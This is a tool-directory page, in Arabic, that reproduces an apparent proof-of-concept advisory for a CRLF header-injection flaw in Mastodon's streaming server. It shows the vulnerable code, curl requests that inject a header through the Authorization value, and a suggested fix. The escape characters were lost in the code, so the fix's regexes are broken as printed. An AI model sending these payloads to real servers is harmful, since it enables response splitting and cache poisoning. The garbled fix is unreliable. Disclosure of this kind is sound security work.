Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-Mastodon-Streaming-CRLF-Injection — Mastodon Streaming Server Security Vulnerability PoC - CVE-2026-Mastodon-Streaming-CRLF-Injection | Kitploit
أدوات/GitHubGitHub/1402307692/cve-2026-mastodon-streaming-crlf-injection
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHub1402307692/cve-2026-mastodon-streaming-crlf-injection

CVE-2026-Mastodon-Streaming-CRLF-Injection

Mastodon Streaming Server Security Vulnerability PoC - CVE-2026-Mastodon-Streaming-CRLF-Injection

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودعالموقع الإلكتروني
منذ 4 أشهرلم تتم المراجعة بعد

CVE-2026-XXXXX: حقن ترويسة استجابة HTTP (CRLF) في خادم البث في Mastodon

نظرة عامة على الثغرة

العنصرالتفاصيل
معرّف CVECVE-2026-XXXXX
المنتج المتأثرMastodon (خادم البث)
الإصدار المتأثر<= 4.5.9
المكوّنالأسطر 188-206 من streaming/index.js
نوع الثغرةحقن ترويسة استجابة HTTP / حقن CRLF
CWECWE-74
CVSS 3.16.5 (متوسطة)
ناقل الهجومالشبكة
المُبلِّغqitian [email protected]

وصف الثغرة

عندما يفشل طلب ترقية WebSocket في المصادقة، يقوم خادم البث في Mastodon بإنشاء استجابة HTTP يدويًا عند الأسطر 188-206 من streaming/index.js ويكتب errorMessage مباشرةً في ترويسة الاستجابة X-Error-Message عبر socket.end() دون تنقية أحرف أو .

يتيح هذا لمهاجم بعيد غير مصادَق حقن ترويسات HTTP عشوائية أو تنفيذ تقسيم استجابة HTTP (HTTP Response Splitting).

الكود المُعرَّض للثغرة (الأسطر 188-206 من streaming/index.js)

root@kitploit:~
const { statusCode, errorMessage } = extractErrorStatusAndMessage(err);
const headers = {
  'Connection': 'close',
  'Content-Type': 'text/plain',
  'Content-Length': 0,
  'X-Request-Id': request.id,
  'X-Error-Message': errorMessage   // NO CRLF sanitization
};
socket.end(
  `HTTP/1.1 ${statusCode} ${http.STATUS_CODES[statusCode]}
` +
  `${Object.keys(headers).map((key) => `${key}: ${headers[key]}`).join('
')}

`
);

التأثير

  • حقن ترويسة HTTP: حقن ترويسات HTTP عشوائية
  • تقسيم استجابة HTTP: حقن جسم استجابة HTTP ثانٍ (تسميم ذاكرة التخزين المؤقت)
  • كشف المعلومات: كشف رسائل الخطأ الداخلية للمستخدمين غير المصادَقين

إثبات المفهوم

PoC 1 - الاكتشاف الأساسي

root@kitploit:~
curl -i -X GET \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  http://TARGET:4000/api/v1/streaming/user

المتوقع: HTTP/1.1 401 Unauthorized، X-Error-Message: Missing access token

PoC 2 - حقن CRLF

root@kitploit:~
curl -i -X GET \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Authorization: Bearer test%0d%0aX-Injected: evil" \
  http://TARGET:4000/api/v1/streaming/user

المعالجة

قم بتنقية errorMessage قبل الكتابة إلى ترويسة المقبس:

root@kitploit:~
const sanitizedMessage = String(errorMessage || '')
  .replace(/
/g, '%0D')
  .replace(/
/g, '%0A');
// OR use Node.js res.setHeader() API which prevents header injection

الجدول الزمني

التاريخالحدث
2026-04-22تم اكتشاف الثغرة وإنشاء إثبات المفهوم
2026-04-22تم تقديم تقرير CVE إلى MITRE / VDB

المراجع

  • https://github.com/mastodon/mastodon
  • https://cwe.mitre.org/data/definitions/74.html

إخلاء مسؤولية: إثبات المفهوم هذا مخصص للأغراض التعليمية وأبحاث الأمن فقط.

تنزيل الأداة